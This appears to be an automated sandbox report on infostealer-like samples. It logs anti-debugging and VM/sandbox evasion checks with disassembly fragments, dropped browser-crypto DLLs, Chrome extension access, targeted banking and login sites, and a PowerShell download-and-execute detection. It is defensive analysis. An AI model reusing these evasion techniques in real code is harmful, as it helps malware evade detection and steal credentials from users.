Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A3C3 second address: A9A3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ebx 0x00000009 jmp 00007F6144D93AE8h 0x0000000e pop ebx 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A3EE second address: A9A3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A3F2 second address: A9A423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+122D2D4Ch] 0x0000000e call 00007F6144D93AD9h 0x00000013 jmp 00007F6144D93AE5h 0x00000018 push eax 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A423 second address: A9A467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61453619E9h 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d je 00007F61453619D6h 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007F61453619DFh 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A467 second address: A9A46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A46B second address: A9A475 instructions: 0x00000000 rdtsc 0x00000002 je 00007F61453619D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A8FE second address: A9A90F instructions: 0x00000000 rdtsc 0x00000002 js 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A90F second address: A9A91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F61453619D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9AB56 second address: A9AB5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9AF44 second address: A9AF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F61453619DCh 0x0000000f ja 00007F61453619D6h 0x00000015 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9AF59 second address: A9AF5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9AF5F second address: A9AF63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9AFE4 second address: A9B02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 xchg eax, ebx 0x00000006 mov esi, dword ptr [ebp+122D2DB0h] 0x0000000c jl 00007F6144D93ADCh 0x00000012 sub dword ptr [ebp+122D2862h], eax 0x00000018 nop 0x00000019 jmp 00007F6144D93AE3h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6144D93AE9h 0x00000026 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9B385 second address: A9B38B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9B38B second address: A9B3A0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9B3A0 second address: A9B3A5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9B452 second address: A9B456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9B456 second address: A9B470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F61453619D8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 je 00007F61453619E4h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9B470 second address: A9B474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9BA9E second address: A9BAA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9BAA2 second address: A9BB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F6144D93ADBh 0x0000000d nop 0x0000000e pushad 0x0000000f or dword ptr [ebp+122D24D0h], ebx 0x00000015 mov bx, 2D17h 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F6144D93ADEh 0x00000020 xor dword ptr [ebp+122D34F6h], eax 0x00000026 popad 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007F6144D93AD8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 push 00000000h 0x00000045 mov edi, dword ptr [ebp+122D2B7Ch] 0x0000004b push eax 0x0000004c push edx 0x0000004d jc 00007F6144D93ADCh 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Special instruction interceptor: First address: A9FCFF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Special instruction interceptor: First address: C77F0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Special instruction interceptor: First address: C58F6F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Special instruction interceptor: First address: CD6D2A instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Special instruction interceptor: First address: 8EEF4D instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Special instruction interceptor: First address: A953D9 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Special instruction interceptor: First address: A93ED4 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Special instruction interceptor: First address: A93B65 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Special instruction interceptor: First address: AB967B instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Special instruction interceptor: First address: AA1C26 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Special instruction interceptor: First address: B1ACE0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1EEF4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3953D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 393ED4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 393B65 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3B967B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3A1C26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 41ACE0 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory allocated: 14B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory allocated: 2F30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory allocated: 4F30000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe

Code function: 14_2_054F03C1 rdtsc

14_2_054F03C1

Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018623001\f5de50ddb2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 6476	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 6520	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 6520	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 828	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 1172	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 428	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 428	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 1632	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe TID: 1632	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7292	Thread sleep count: 87 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7292	Thread sleep time: -2610000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7292	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe TID: 1272	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 1560	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 3964	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C60EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C60EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: R2CgZG545D.exe, 00000000.00000002.2641319573.0000000000C32000.00000040.00000001.01000000.00000003.sdmp, EHJKKKFIIJ.exe, EHJKKKFIIJ.exe, 0000000E.00000002.2668919202.0000000000A70000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000F.00000002.2709128316.0000000000370000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2709309680.0000000000370000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3321781057.0000000000370000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GCBKFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware@
Source: GCBKFBFC.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: GCBKFBFC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: GCBKFBFC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: GCBKFBFC.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: GCBKFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013D4000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001402000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3323974534.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253492552.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GCBKFBFC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: GCBKFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: GCBKFBFC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: GCBKFBFC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GCBKFBFC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: GCBKFBFC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: GCBKFBFC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GCBKFBFC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: GCBKFBFC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: GCBKFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GCBKFBFC.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GCBKFBFC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GCBKFBFC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: aspnet_regiis.exe, 00000014.00000002.3254218187.0000000002DFD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253492552.0000000002DFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@!
Source: GCBKFBFC.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GCBKFBFC.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: GCBKFBFC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: GCBKFBFC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GCBKFBFC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: GCBKFBFC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001402000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|U
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWt](,
Source: GCBKFBFC.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GCBKFBFC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GCBKFBFC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\]g
Source: GCBKFBFC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: R2CgZG545D.exe, 00000000.00000002.2641319573.0000000000C32000.00000040.00000001.01000000.00000003.sdmp, EHJKKKFIIJ.exe, 0000000E.00000002.2668919202.0000000000A70000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2709128316.0000000000370000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2709309680.0000000000370000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3321781057.0000000000370000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GCBKFBFC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: GCBKFBFC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\R2CgZG545D.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe

Code function: 14_2_054F03C1 rdtsc

14_2_054F03C1

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C6DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6DAC62

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008B652B mov eax, dword ptr fs:[00000030h]	14_2_008B652B
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_008BA302 mov eax, dword ptr fs:[00000030h]	14_2_008BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001BA302 mov eax, dword ptr fs:[00000030h]	15_2_001BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_001B652B mov eax, dword ptr fs:[00000030h]	15_2_001B652B

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C6DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6DAC62

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: R2CgZG545D.exe PID: 5044, type: MEMORYSTR

Allocates memory in foreign processes

